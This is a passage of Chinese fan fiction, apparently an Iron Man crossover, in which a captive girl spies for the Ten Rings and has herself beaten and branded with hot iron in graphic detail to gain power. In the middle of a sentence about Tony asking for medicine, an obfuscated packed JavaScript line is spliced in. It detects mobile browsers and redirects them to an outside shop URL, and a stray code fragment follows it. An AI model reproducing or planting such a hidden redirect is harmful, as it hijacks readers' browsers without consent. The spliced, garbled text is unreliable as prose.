山洞外面多了几个陌生人,都是荷枪实弹的武装分子。门口的两个守卫换了人,面孔更凶,眼神更冷。空气中弥漫着一种令人窒息的压迫感,像暴风雨来临前的宁静。 托尼显然也注意到了。他的身体微微绷紧,像一只察觉到危险的猫。伊森站在工作台前,身体微微侧向洞口,手不自觉地攥紧了手里的螺丝刀。 “Dony。”莱拉把托盘放在桌上,小声叫了一声。 托尼看了她一眼,微微摇了摇头,示意她别说话。 山洞外面传来脚步声。不止一个人,至少五六个。 十戒帮这个基地的负责人,那个光头男人走了进来,身后跟着四个全副武装的护卫,还有两个莱拉不认识的陌生面孔。男人今天穿了一件黑色的长袍,那枚银色的戒指在卤素灯下反射着冷光。他的表情很平静,但那种平静让整个山洞的温度都下降了几度。 “斯塔克先生。”他用英语说,发音很标准,“一个月了。” 托尼靠在椅背上,翘着腿,看着对方:“数学不错。需要我给你发个奖状吗?” 男人没有理会托尼的嘲讽,他的目光扫过工作台,扫过墙上贴的图纸,扫过每一个零件、每一根电线。然后他收回目光,语气依旧平静:“上面的人在问进度。他们已经不耐烦了。” “进度?”托尼摊开手,“我跟你们说过很多次了,你们的材料不行。没有高纯度的钯,制导系统就是个摆设。你们运来的那些导弹部件,我拆了,钯含量不够,杂质太多,做出来的东西打出去会偏航,偏个几百米的那种。你们想炸的目标炸不到,炸到别的什么东西上,我可不管。” 男人看着托尼,没有说话。 托尼继续说,语气变得更加懒散:“我跟你们的人说过很多次了,要钯,要高纯度的钯。你们运来的那些破烂玩意儿,最多只能让我做个半成品。半成品的耶利哥导弹,你们要么?” 山洞里安静了几秒。 然后男人忽然笑了。很淡的笑,嘴角只是微微弯了一下,但那种笑意让人后背发凉。 “斯塔克先生。”他说,“你可能误会了一件事。” 他侧了侧身,朝洞口的方向看了一眼。 “我们不是来跟你商量进度的。” 他朝身后的护卫点了点头。两个武装分子走进了山洞,一个手里拿着一根黑色的橡胶棍,另一个端着一个铁盆,盆里放着几块烧得通红的铁块,热气腾腾,空气里弥漫着金属灼烧的气味。 托尼的眼睛瞬间眯了起来。他的身体前倾,椅子发出咯吱的响声。 男人没有看他,而是转向了角落里站着着的莱拉,用阿拉伯语说:“孩子,过来。” 莱拉的心脏猛地收缩了一下,但她的脸上什么表情都没有。她从角落里站起来,低着头走到男人面前,在距离他两步远的地方停下。 “这两个美国人,这一个月有没有认真工作?”男人问,语气像是在问一件完全不重要的事情。 莱拉低着头,声音不大但很清晰:“有的,先生。他们每天都在工作,从早到晚,很少休息。” “每天都在工作?”男人重复了一遍,“那为什么什么都做不出来?” 莱拉沉默了一秒,然后说:“先生,我不懂技术,不知道他们在做什么。但我每天都看到他们在忙,从来没有偷懒。” 男人看了她一眼,然后转向托尼。 “斯塔克先生,你听到了。这个孩子说你们每天都在工作。那我问你——工作了一个月,为什么连个雏形都拿不出来?你是真的缺材料,还是在跟我耍花招?” 托尼的脸色沉了下来,他的声音里带着一种压制的危险:“我说过很多次了,材料不够——” “我知道你在撒谎,托尼.斯塔克。”男人打断了他,那是一种让托尼后背发凉的笑容,“想知道为什么我会知道吗?” “这个孩子——”他伸出手,拍了拍莱拉瘦削的肩膀,“是我的耳朵。” 托尼的表情没有变化,但他的身体微微前倾了一些。 “你什么意思?”他的声音变低了。 “我的意思是——”男人慢悠悠地说,“她听得懂英语。” 山洞里安静了那么一秒。 托尼的目光落在莱拉身上。那双深棕色的眼睛里,有什么东西在一瞬间碎裂了。 莱拉站在男人手边,在听到对方把这件事说出来后,原本低垂着的头猛地抬了起来。她直视着男人,看起来像是在为男人不按照计划来的行为而感到震惊,而实际上,真正让她感到震惊的,是一股突然出现在她身体里的,强大的暖流。 这股强化能量是从哪来的?她明明还没有受伤不是吗? 突然,莱拉想到了什么。她下意识地想要看向托尼,又强行止住了自己的动作。 难道说,除了被人伤害,伤害别人,也能让她获得这种强化能量吗?无论是身体上的,还是心灵上的。 伊森的脸色也变了。他看看莱拉,又看看托尼,嘴唇动了动,但什么都没说出来。 托尼的声音从牙缝里挤出来:“你说什么?” “我说,这个孩子听得懂英语。”男人重复了一遍,语气里带着一种猫捉老鼠的愉悦,“你对她说的每一句话——不,不只是对她说的。你和你旁边那位医生之间的每一句对话,她都能听懂。她每天蹲在洞口,把你们的每一句话都记下来,然后告诉我。” 托尼的双手攥成了拳头。他的胸膛剧烈起伏,胸口那块布下面的反应堆发出微弱的蓝光。他的嘴唇抿成一条线,下颌的肌肉高高鼓起。 “你们的所有计划,所有拖延的把戏,所有那些‘材料不够’的借口——”老大继续说,每个字都像一把小刀,“她全都告诉我了。” 托尼的目光一直没有离开莱拉。他想看到她的眼睛,想从她的眼睛里找到一点解释,一点否认,一点“这不是真的”的证据。 但莱拉始终没有抬头看他。 她甚至重新低下了头,闭上了眼睛,努力让自己的情绪不要流露出来。 “不止如此。”男人继续说,他的语气变得更加轻松,像是在闲聊,“她还告诉我一件事——你用现有材料,三个月内就能造出我要的导弹。你一直在骗我,不是因为材料不够,而是因为你怕导弹造出来之后我会杀了你。” 托尼的瞳孔猛地收缩了一下。 他确实说过这个时间点,十几天前,他说过想要造出足够让他们逃离这个基地的战甲,最多只要三个月。最大的问题不在技术,而在时间,在于十戒帮,会不会给他们这么多的时间。 而莱拉解决了这个问题,他撒了个谎,让十戒帮相信他们他们确实需要这么多的时间,甚至帮他们找好了之前拖延的理由。 他没有出卖他们。他是在用一个巧妙的谎言,把十戒帮的注意力从“他们在造什么”转移到了“他们需要多长时间”上。 托尼的眼皮微微跳了一下。 他看着莱拉。那个孩子依然低着头,瘦小的身体微微发抖,像一只被逼到墙角的幼兽。 他在害怕。 他当然会害怕。他只是个十几岁的孩子,被十戒帮的人掳来,被虐待,现在还要在这帮穷凶极恶的恐怖分子面前撒谎。 托尼的怒火在那一瞬间熄灭了。 不是因为他原谅了他——他还没有时间去处理“被欺骗了一个月”这件事。而是因为他忽然意识到一件事:这孩子在用他的方式保护他们。 托尼沉默了下来,他不再看着莱拉,男人把这件事在这个时候捅出来,就是为了离间莱拉和他们之间的感情,如果想要让莱拉不受牵连,那么最好就是让男人觉得他成功了。 托尼本以为今天的事情到此为止,莱拉间谍的身份被暴露出来,他承认自己之前确实在拖延,然后保证自己接下来会认真工作。男人可能会换个人来监视他们,这有点麻烦,但他可以解决这一点。 只是,他不知道的是,今天要上演的剧目,才刚刚开始罢了。 “斯塔克先生,你骗了我这么久,总得付出点代价。”男人的语气变得漫不经心,“放心,我不会对你动手的,毕竟如果你受了伤,会影响你的工作效率。但是,我得让你知道,不听话的结果是什么。” 他朝那个拿着橡胶棍的护卫偏了偏头:“开始吧。 那护卫在托尼警惕的目光中,走到了莱拉的身后,举起手中的橡胶棍,狠狠砸了下去! 第一棍落在莱拉的背上。 莱拉的身体猛地向前一倾,膝盖撞在石地上 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莱拉趴在地上,没有叫。痛感被隔离开来,莱拉并没有觉得疼痛,只有种被水流压迫的感觉,虽然站不起来,但也不会觉得不舒服。甚至,在强化能量源源不断涌现的暖流中,她像是被泡在温泉中一般,只觉得身体暖洋洋的,十分舒服。她甚至需要努力克制住自己的表情,才能不让其他人看出端倪。 而伴随着击打□□的背景音,男人看着激动的托尼,脸上露出了货真价实的惊讶的表情:“冷静点,斯塔克先生。那只是个背叛了你的间谍而已,你为什么要这么激动?” 他倒是没有想到,那孩子之前说得居然是真的,这个名为托尼.斯塔克的男人,竟然真的有一颗柔软的,会为了孩子而妥协的心。 “停下来!该死的,你们听不听得懂英语!停下来!”他的声音已经变了调,不再是那个冷静的、玩世不恭的天才托尼·斯塔克,而是一个眼睁睁看着孩子被打却无能为力的男人,“你们想要什么我都给!材料!导弹!什么都行!别打他了!” 侍卫一棍落在莱拉的后腰上。 莱拉的身体猛地弓了起来,像一只被踩到的虫子。她发出了一声短促的、闷在喉咙里的叫声,不是尖叫,是那种被重击后本能地挤出来的声音。 托尼的声音里带上了一种近乎哀求的东西:“求你们了,他还只是个孩子——” 男人转过头,看着托尼,嘴角那个若有若无的笑意更深了一些:“斯塔克先生,你刚才说材料不够。现在又说什么都给。你的话,哪句是真的?” 托尼的胸膛剧烈起伏,胸口那块布下面的反应堆发出微弱的蓝光,透过布料隐约可见。他的双手攥成拳头,指甲嵌进掌心的肉里,血从指缝间渗出来。他的嘴唇抿成一条线,下颌的肌肉因为用力咬合而高高鼓起。 “材料够了。”他说,每个字都像从牙缝里挤出来的,“用你们现有的材料,三个月内我能造出你们要的东西。我一直在骗你们,因为我怕造出来之后你们会杀了我。现在你满意了吗?” 男人看着他,缓缓点了点头。 然后他转过身,看向那个端着铁盆的男人。 侍卫停下了手中的动作。取而代之的是,那个拿着铁盆的男人走近了莱拉。 莱拉趴在地上,从低垂的眼帘里看到了那双走近的脚。她抬起头,看到了另一个侍卫手里端着的铁盆——盆里放着几块烧得通红的铁块,铁块表面泛着暗红色的光芒,空气在它们上方扭曲。 她的瞳孔猛地收缩了。 就算不怕痛,这种伤害光是从视觉上看,就已经足够可怕了。 端着铁盆的侍卫蹲下来,抓住她的左手,把她的手背朝上按在石地上。 莱拉试图抽回手,当然并没有真的用力,只是象征性地挣扎了一下。她的挣扎微弱得像一只被踩住翅膀的蝴蝶,手臂在颤抖,手指在痉挛,但那只大手纹丝不动。 托尼的声音从工作台那边传来,这一次不再是怒吼,而是一种被恐惧浸透的、几乎要碎裂的声音:“不——不要!你们要干什么!不要碰他!” “我打算留下一个印记,一个不会消失的印记,只要你看见,你就会记起,你对我的承诺。” 伴随着光头男人的声音,侍卫用铁钳夹起一块烧得通红的铁块。 莱拉看着那块铁块向她靠近。暗红色的表面,边缘微微发白,热量在靠近之前就已经扑到了她的手背上,她感觉到了一种温热的、像夏日阳光晒在皮肤上的感觉。 然后铁块落下来了。 5. 第五章 男人把烧红的铁块按在莱拉的右手手背上,用力压了压,然后拿开。 那一瞬间,莱拉的身体做出了强烈的反应。 她的后背猛地弓起,像一张被拉满的弓,另一只手用力地抠着地面,连指甲都崩裂开来。莱拉的嘴巴张开,从喉咙深处迸发出一声尖叫,如同幼兽濒死时的哀嚎一般,尖锐的、撕裂的、像是有什么东西正在从内部把她撕碎的声音。 那是身体在最原始的恐惧和痛苦中自发产生的反应,莱拉甚至自己都没意识到自己在做什么,也没有去控制,而是任由自己的身体做出这些反应。 那块被烫伤的手背上,皮肤在几秒钟内从正常的颜色变成了白色,然后变成黄色,然后变成焦黑色。水泡以肉眼可见的速度鼓起、破裂,透明的组织液混合着血丝从焦痂的裂缝中渗出来。空气中弥漫着一股令人作呕的焦糊味——那是蛋白质被高温分解的味道,是人肉被烧焦的味道。 莱拉的尖叫声持续了大约五秒钟,然后她的声带像是被什么东西卡住了一样,那声音变成了一种嘶哑的、气若游丝的喘息。她的身体蜷缩成一团,左手紧紧握住右手的手腕,像是在保护那只被烫伤的手不被任何人再碰一下。她的额头抵在冰凉的石地上,整个身体在不停地、不受控制地发抖,像一片在风中颤抖的树叶。 托尼的的咒骂声停了下来。 他看着莱拉蜷缩在地上的样子,看到了那块焦黑色的烫伤,看到了那个孩子像一只被车碾过的小动物一样蜷缩在那里,浑身是血,浑身是伤,一动不动。 有血丝从他的眼角蔓延开来,他的眼睛变得通红。 然而他却没有再说出任何一句话,他只是死死地盯着那个倒在地上的孩子。 光头男人抬了抬手。 那个拿着铁块的武装分子退后了一步。 山洞里安静了下来,只剩下莱拉因为身体的颤抖而发出的细碎摩擦声。 男人转过身,看着托尼,语气平静得像在谈论天气:“斯塔克先生,我们现在可以谈谈导弹的事情了吗?” 托尼的胸膛剧烈地起伏着,他的嘴唇在发抖,他的眼睛布满了血丝。他盯着男人看了三秒钟,然后又看了一眼地上那个蜷缩着的、浑身是血的孩子。 那个孩子的右手手背上有一块焦黑色的烫伤,皮肉翻开,血和组织液混在一起,顺着手指往下滴。他的衣服上全是血和泥土的混合物,肩膀和后背上被橡胶棍打出的瘀伤在衣服下面若隐若现。他的身体还在发抖,那种不受控制的、细细密密的颤抖,像一只被暴雨淋透的猫。 托尼的喉结上下滚动了一下。 他把目光从莱拉身上移开,看向男人。他的声音沙哑得像砂纸摩擦玻璃,但每个字都咬得清清楚楚。 “你们赢了,三个月之后,我会把导弹给你们。但是,如果这个孩子死了,你们什么都拿不到。” 男人看着他,缓缓点了点头。 然后他转过身,看了一眼蜷缩在地上的莱拉,用阿拉伯语说了一句:“把她留在这里,送些药过来。” 他带着手下走出了山洞。 脚步声渐渐远去。 山洞里只剩下托尼、伊森,和角落里那个浑身是血的孩子。 空气凝固了几秒。 然后伊森第一个动了。他快步走到莱拉身边,蹲下来,小心翼翼地伸手探了探她的鼻息。手指感受到微弱的、但稳定的气流,他长出一口气:“还活着。” 托尼站在原地,双手攥成拳头,指节泛白。 他走向莱拉。 脚步很重,像每一步都踩在自己的心口上。 他在莱拉身边蹲下来,看到了那块烫伤。那块焦黑色的、皮肉翻开的、还在往外渗血的烫伤,在一个十五岁孩子的手背上,像一朵黑色的花。 他伸出手,极其小心地、像对待一件易碎品一样,把莱拉的手从地上抬起来。他的动作轻得几乎感觉不到触碰,但莱拉的手指还是猛地抽搐了一下,整个人往后缩了缩——那是身体的自发反应,在经历了剧烈疼痛之后,任何触碰都会被身体解读为威胁。 托尼的手停在了半空中。 他的嘴唇在发抖。 “伊森。”他说,声音沙哑得几乎听不清,“我们需要碘伏、纱布、烫伤药膏。把那个急救箱里所有东西都拿过来。” 伊森已经在翻了。他找出碘伏、棉签、一卷纱布,还有一小管抗生素软膏——这些都是之前在治疗托尼的时候,十戒帮给的药。 托尼没有自己动手,而是让开了位置,让伊森来处理。 伊森用碘伏浸透棉签,轻轻地、极轻地擦拭着烫伤周围的皮肤。那些没有烫伤的部分被碘伏染成了棕黄色,莱拉的手指又抽搐了一下,但没有缩回去。 “我知道很疼。”伊森放轻了声音,哄着他,“忍一下,很快就好了。” 他把抗生素软膏涂在那块焦黑色的烫伤上,动作轻得像是怕弄碎什么。然后用纱布一层一层地包裹起来,包扎的力度刚好——不松不紧,不会掉,也不会勒得太紧。 处理完烫伤之后,他又检查了莱拉背上和肩膀上的棍伤。那些地方没有破皮,只是大面积的青紫色瘀伤,最严重的地方已经肿了起来。 这个孩子是因为他们而受伤的,他早就为可能付出的代价做好了准备,但让他没想到的是,最后确实这个孩子替他付出了代价。 这个认知像一把钝刀,在他的心口上来来回回地锯。 托尼蹲在莱拉身边,看着那个孩子蜷缩在地上,浑身是伤,像一只被丢弃的、奄奄一息的幼猫。那只被纱布包着的手放在身体一侧,纱布上已经开始渗出淡黄色的液体和暗红色的血。 “kid。”托尼的声音很低,低到只有莱拉能听到,“你听得到我说话吗?” 莱拉没有动。她的眼睛闭着,睫毛微微颤动,呼吸急促而浅。不是因为痛,疼痛被过滤掉了大部分。她的反应更多是生理性的,而她放任了自己的这些反应。 但托尼不知道这些。他以为她在承受着他无法想象的痛苦。 他的嘴唇动了动,像是想说什么,但最终什么都没有说出来。 他伸出手,把手掌轻轻地覆在莱拉那只没有受伤的手上。他的手很大,几乎能把莱拉的整只手包住。他的手指微微用力,像是在传递某种无声的承诺。 伊森站在一旁,看着这一幕,没有说话。 山洞里安静极了,只有卤素灯发出的嗡嗡声,和莱拉微弱的呼吸声。 “我会带你离开这里的。”托尼终于开口了,声音低得像在跟自己确认,“我保证。” 他转过头,看了伊森一眼。那双深棕色的眼睛里,有什么东西变了。不再是玩世不恭,不再是嘲讽,不再是那个在任何情况下都能说出俏皮话的托尼·斯塔克。 他下定了某种决心。 莱拉蜷缩在角落里,闭着眼睛,感受着体内那股排山倒海般的能量。 不是从她自己的伤口来的——那些伤产生的强化能量不算太多,毕竟这些伤只是看上去可怕一些,但实际上因为她身体看起来太过瘦弱,没打算直接杀死她的恐怖分子们下手也不敢太重。真正的洪流来自另一个方向:托尼.斯塔克。 托尼的愧疚,托尼的无能为力,托尼看着她被打、被烫伤时那种撕心裂肺的痛苦。 那些情绪转化而来的暖流像决堤的洪水一样涌入她的体内,每一丝愧疚、每一分心痛、每一点自责,都转化成强化能量在她的血管里奔腾,在她的骨骼里轰鸣,在她的每一个细胞里炸裂,不断地强化着她的身体。 莱拉把脸埋在手臂里,感觉到自己的身体正在被这股能量重塑。 细胞在分裂,组织在再生,骨骼在加固,每一寸皮肤都在变得更加坚韧。 她在变强。 代价是托尼·斯塔克的心碎。 莱拉在黑暗中闭着眼睛,无声地在心底同样给出了承诺:我一定会带你离开的,托尼。 计划很成功,中间虽然出了些差错,但最重要的目的达成了。 十戒帮的头目以为自己破坏了莱拉原本的计划,只是他不知道,也不可能知道,莱拉这个计划的重点,从来不是任何人的信任,而是那顿毒打,那顿能够让她获得足够强化能量的毒打。 而托尼给她带来的强化能量,又是另一方面的收获了。 莱拉耷拉在地上的左手不着痕迹地捏起了一块小石头,用力一搓,轻易的就把那石头搓成了碎末。 自穿越以来这么久,她终于有了一定的自保能力。 莱拉第一次真正放松了下来,困意上涌,她终于真正的睡着了,不像是之前缩在山洞角落那样,始终保持着精神的紧绷。 十戒帮的人送来了伤药,托尼本来想给莱拉身上的伤也上个药,但在发现莱拉已经睡着了之后,他就放弃了。 能够睡着是件好事,这时候把人叫起来的话,说不定就会因为疼痛而很长时间都睡不着了。 莱拉再次醒来的时候,感觉到了不对劲。 她的额头很热,眼眶发酸,喉咙像被砂纸打磨过一样干涩。呼吸变得沉重,每一次吸气都能感觉到气管里那种灼热的不适。 她在发烧。 这不奇怪。一个营养不良的孩子,在遭受了严重的殴打和烫伤之后,伤口没有经过正规处理,环境肮脏,细菌无处不在——不发烧才奇怪。莱拉在计划这出苦肉计的时候就已经预见到了这一点。 她甚至控制了自己的恢复力,在强化身体的同时,保留了身上的伤势,至少从外表来看,她还是那个虚弱的,受了重伤的孩子。 但身体的强化体现在方方面面,就比如说现在,她清楚的知道自己正在发高烧,但她的头脑仍旧清醒,手脚也依旧有力。 托尼已经醒了。他站在工作台前,手里拿着一个半成品的金属部件,但眼睛没有在看那个部件,而是在看莱拉。 他的眉头皱得很紧。 “伊森。”他的声音压得很低,但山洞里太安静了,每个字都清清楚楚,“你看那孩子的脸。” 伊森从工作台另一边走过来,顺着托尼的目光看向蜷缩在角落里的莱拉。他的脸色变了——不是惊慌,是那种医生看到病人情况恶化时的凝重。 “他在发烧。”伊森说,走过去蹲下来,伸手探了探莱拉的额头。他的手背贴上莱拉额头的那一瞬间,眉毛猛地跳了一下,“很烫。至少四十度。” 托尼把手里的部件扔在桌上,发出哐的一声响:“是因为伤口感染?” “很有可能。”伊森检查了一下莱拉手背上的纱布。纱布已经被渗出的液体浸透了,颜色从白色变成了淡黄色,边缘有些发暗,“烫伤的创面太大,环境又不卫生,感染是大概率事件。如果不处理,可能会发展成败血症。” 托尼的嘴唇抿成了一条线。 他站起来,走到洞口,对着门口那两个守卫用这两天硬学了几句阿拉伯语说道:“他需要医生。需要药。消炎药。打针。”,虽然发音惨不忍睹,但大概意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618322|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思是通的。 守卫对视了一眼,想起之前首领对他们的吩咐,其中一个守卫走了进来,把莱拉带到了据点另一边的一个小洞穴里。 这个小洞穴被临时改造成了一个简陋的医疗室。地上铺着一张还算干净的毯子,墙角放着一个铁皮箱子,箱子里装着一些基本的医疗用品——碘伏、纱布、几盒抗生素、注射器和一些莱拉叫不出名字的药瓶。 莱拉被放在毯子上。她闭着眼睛,呼吸急促,脸颊烧得通红,嘴唇干裂起皮。她的样子看起来糟透了,而她很清楚这一点,因为这一切都是“自然发生”的——她没有刻意装病,她是真的病了。只不过普通人的身体在发高烧时会变得更加虚弱,而她的身体在发高烧的同时,身体还在源源不断地涌出强化能量。 一个穿着脏兮兮白大褂的中年男人走了进来。他是十戒帮从附近村子里抓来的医生,被迫为据点里的人提供医疗服务。他的手法很粗糙,但基本的医疗常识还是有的。 他给莱拉量了体温——四十度二。然后他从铁皮箱子里拿出一支注射器,从一个玻璃安瓿瓶中抽取了半管透明的液体,注入了莱拉的身体。 就在医生收拾器具的时候,洞口的光线被一个高大的身影挡住了。 莱拉睁开了眼睛,看向洞口。 是基地的首领。 他走进来的时候,整个洞穴的温度似乎都下降了几度。那个穿着白大褂的医生立刻低下头,匆匆收拾好东西,退到了洞穴最远的角落里,像一只被猫逼近的老鼠。 老大在莱拉身边站定,低头看着毯子上那个躺着的、瘦小的、浑身是伤的孩子。 “出去。”他用阿拉伯语说,语气平淡。 医生如蒙大赦,拎着箱子快步走了出去。洞穴里只剩下老大和莱拉两个人。 她没有刻意控制自己的表情,也没有刻意维持那个怯生生的、逆来顺受的眼神。她只是平静地看着站在面前的男人,那双眼睛因为发烧而有些湿润,但里面的神采和之前完全不同了。 男人的眉毛微微动了一下。他当然注意到了这种变化。 “你看起来,好像有了些变化。”他说。不是疑问句,是陈述句。 莱拉没有回答这个问题。她慢慢坐起来,背靠着石壁,右手上包着纱布的烫伤搁在膝盖上。她的动作很慢,不是因为虚弱——她的身体其实并不虚弱,那些被强化过的肌肉随时可以爆发出惊人的力量——而是因为她在发烧,发烧会让人头晕,她不想让自己看起来“状态太好”。 老大在她对面蹲下来,那双冷酷的眼睛直直地盯着她。 “我改变了你的计划。”他说,“你原本想取得他们的信任,成为他们的自己人。但我告诉他们你会英语,告诉他们你是我的探子,你的计划毁了。” 莱拉笑了笑。 “先生。”她的声音有些沙哑,因为喉咙肿了,“您觉得我的计划毁了吗?” 男人没有回答。 莱拉垂下眼睛,看着自己那只被纱布包着的手。纱布上的液体已经干了,变成了一种暗黄色的硬壳。 “不,我的计划成功了。”她说,声音不大,但很清晰,“他们在知道了我是探子的情况下,仍旧将信任交付给了我,这比原本的计划更成功。” 男人看着她,那双冷酷的眼睛里有了一丝之前从未出现过的东西,像是发现了原本打算用过一次就扔掉的工具,还有些其它的用处的,些许愉悦。 “你不怕痛。”他说。 莱拉低下头,看着自己手背上的纱布。纱布下面,那块烫伤的焦痂正在以被压制的速度缓慢愈合。 “怕。”她说,“我怕得要死。” 这是实话。她上辈子怕痛,这辈子也怕。她只是有了可以屏蔽疼痛的方法,而不是变成了不怕痛的人。 “但您知道吗,先生?”她抬起头,看着男人,那双因为发烧而微微发红的眼睛里,有一种平静到近乎冷漠的东西,“对于我想要做的事情,疼痛是最不值一提的代价了。” 她笑了笑,笑容中不带任何情绪:“毕竟,疼痛早就已经是我生命的一部分了。” 莱拉的过去在这个基地里不是秘密,没有人会觉得这个从小生活在父亲的暴力中的孩子说出这句话有什么问题。 像这样的孩子,男人见过不少,但能够像眼前这个孩子这样,展现出自身价值的,寥寥无几。想到这里,男人语气平静的说道:“你的计划完成了,证明了自己。从今天起,你是十戒帮的一员了。” “谢谢先生。”她说。声音沙哑,但很平静。 男人站起来,转身要走。走到洞口的时候,他停了一下,没有回头。 “你今天说话的样子,和以前不一样。” 莱拉靠在石壁上,闭着眼睛,声音轻得像一片落在水面上的叶子:“可能是因为我在发烧。烧糊涂了,忘了害怕。” 实际上,当然是因为她已经变强了,比男人要强得多。人在面对比自己弱小许多的存在的时候,是很难表现出害怕的情绪的。 男人没有回应,他的脚步声渐渐远去。 洞穴里重新安静下来。 莱拉睁开眼睛,低头看着自己的手掌。 瘦弱,纤细,还叠着密密麻麻的伤痕,没有人知道,这样的一只手,拥有着能够将石头都捏成粉末的强大力量。 加入十戒帮,这是她计划中的一步。在拥有了这个身份后,她在这里才拥有了自由行动的权利,也才能,完成她最开始的计划。 6. 第六章 发烧持续了两天。 这两天里,莱拉被留在那个简陋的医疗洞穴里,每天打两针抗生素,喝一些难以下咽的药水。她的身体在药物的辅助下,以“正常”的速度退烧、恢复。到第二天傍晚的时候,体温降到了三十七度五,虽然还有些低烧,但已经不影响活动了。 她刻意压制着恢复力,让伤口看起来愈合得“正常”而非“惊人”。手背上的烫伤已经结了一层厚厚的焦痂,焦痂边缘开始微微翘起,露出下面粉红色的新生皮肤。背上的瘀伤从青紫色变成了黄绿色,正在缓慢地消退。 一切都看起来刚刚好。 第三天晚上,莱拉重新出现在托尼的山洞洞口。 她穿着那身脏兮兮的旧衣服,右手上包着新换的纱布。 托尼正在工作台上焊接什么东西。电弧光在黑暗中闪烁了一下,照亮了他的脸——那张脸比她睡着之前更憔悴了,眼窝更深,胡茬更乱,衣服上多了几块新的油渍和烧焦的痕迹。 伊森先看到了她。 “莱拉。”他用阿拉伯语说,语气里带着明显的松了一口气的感觉,“你怎么过来了?你应该休息。” 莱拉走进山洞,走到那个她习惯待的角落里,坐了下来。她的动作比平时慢了一些,像是在保存体力,但她的眼睛很亮。 托尼放下了手里的焊枪,转过身看着她。 他的目光从她脸上扫过,落在她手上包着的纱布上,然后回到她的脸上。他的表情很复杂像是不知道该如何面对这个孩子。 “你发烧了。”托尼说,用的是英语,但语速很慢,每一个词都咬得很清楚,“你应该躺着。” 莱拉看着他,歪了歪头,朝他露出了个笑容:“别担心,托尼,我没事。” 她说的是英语,带着口音,但仍旧清晰。 托尼的嘴唇动了一下,嘟囔了一句‘小骗子’,就转过身继续焊接,像是用这句小小的抱怨,就揭过了她之前的一切隐瞒。 莱拉靠在石壁上,闭上眼睛,感受着那股不断涌出的、微弱的、持续不断的强化能量——不是因为她受伤了,而是因为托尼。托尼在看着她的时候,在能够感受到她的存在的时候,心里有一块地方在隐隐作痛。那种痛很轻,像羽毛落在皮肤上,但她的能力捕捉到了它,把它转化成一丝丝温热的暖流,注入她的身体。 莱拉没有去引导那些暖流。她只是任由它们在自己的体内游走,像一条无声的地下河,向她展示着托尼.斯塔克,未来的钢铁侠,拥有的那颗,金子般的心。 从那天开始,莱拉不再在托尼面前假装听不懂英语了。 莱拉的口语很差,没有语法,除了一些简单的句子之外,就只会一个一个的单词往外蹦。 托尼有时会教她一些比较生僻的,和他现在在做的东西相关的词,然后看着莱拉艰难地复述的时候露出愉快的笑容。 伊森则会教她一些日常用语,让她的英文变得更加流利。他在和莱拉对话的时候,会用阿拉伯语和英语两种语言,英语放得很慢,如果莱拉说出了正确的回应,他还会笑着夸夸她。 莱拉喜欢这种生活,明明生活的水平没有变化,明明他们还在危险的恐怖分子的基地里,但她就是觉得,现在的生活。 这或许就是强大的实力带来的底气吧。 在这种有些轻松的氛围中,两个半月的时间很快就过去了。 莱拉的英语变得流利了起来,除了一些生僻的单词外,日常沟通方面已经没有任何问题了。 第三个月中旬,马克一号的组装进入了最后的阶段。 那些用废料拼凑起来的装甲部件堆在工作台旁边的地上,用一块脏兮兮的帆布盖着。从外面看,那只是一堆乱七八糟的金属废料,没有人会多看一眼。但莱拉知道,帆布下面是一套正在成型的钢铁战甲,是这个世界上最伟大的工程天才在山洞里用废铜烂铁造出来的奇迹。 但奇迹需要时间来激活和穿戴。 托尼和伊森面对面坐着,中间摊着一张手绘的流程图。托尼的手指在图上游走,嘴唇翕动,在计算着什么。他的眉头皱得很紧。 “激活反应堆需要至少三分钟。”托尼的声音压得很低,“穿戴装甲需要至少五分钟。这还是在一切顺利的情况下。如果有人在这期间闯进来——” 他没有说完,但伊森听懂了。 如果有人在这期间闯进来,他们就会看到托尼·斯塔克正在穿一套用废料做的金属盔甲。然后一切就结束了。不是囚禁的结束,而是生命的结束。 莱拉站在另一边,听着两人的讨论。 “外面最近不太平。”伊森说,“我注意到守卫换岗的频率变了,巡逻的人数也增加了。他们可能在准备什么。” 托尼的手指在图上来回敲了两下,声音更低了:“我知道。” 莱拉知道十戒帮在准备什么。 她已经是十戒帮的成员了,这让她可以任意在据点里走动、观察、收集信息。十戒帮确实在准备什么——不是针对托尼,而是针对外面。她听到过几次首领和手下之间的对话片段,提到了“美军”“搜索范围扩大”“需要转移”之类的词。十戒帮的焦虑在逐日累积,像一只被慢慢加热的锅,谁也不知道什么时候会沸腾。 托尼担心的是,在那个沸点到来的时候,他们会失去控制,会闯进来,会发现真相。 莱拉觉得,她是时候发挥一点作用了。 “托尼。”她说,英语比两个月前流利了很多,但仍然带着口音,“你们需要多少时间?全部时间。” 托尼抬起头看她,那双深棕色的眼睛里有一种复杂的情绪。这两个半月里,他已经习惯了莱拉的存在,习惯了她在角落里安静地待着,习惯了当着她的面讨论一切,不再有任何的隐瞒。 “……八分钟。”托尼说,“最少八分钟。如果一切顺利。” 莱拉点了点头:“八分钟。你们有八分钟。” “不是‘我们有’。”托尼纠正她,“是‘我需要’。你不需要在那里。到时候你先走,找一个安全的地方躲起来,等我来找你。” 莱拉没有回应这句话。她低着头,看着自己右手手背上那块已经愈合了大半的烫伤疤痕。那块疤痕比周围的皮肤颜色深一些,微微凸起,像一枚烙印。她有时候会盯着它看很久,想一些有的没的。 “在你们开始之前。”莱拉抬起头,看着托尼,“没有人会闯进来。” 托尼的眼睛微微眯了起来:“你怎么知道?” “我会让他们不会闯进来。” 山洞里安静了一秒。 托尼的眉毛拧在了一起。 “你要做什么?”他的声音变低了,带着警惕的意味。 莱拉看着他的眼睛,没有躲闪。她早就想好了该怎么回答这个问题。真话不能说,全假的谎话也不行,得是那种半真半假的、听起来合理的、不会让托尼起疑心的回答。 “我会制造一些混乱。”她说,语速不快,像是在组织语言,“他们会乱起来,会到处找制造混乱的人。这样他们就不会注意到你们了。” 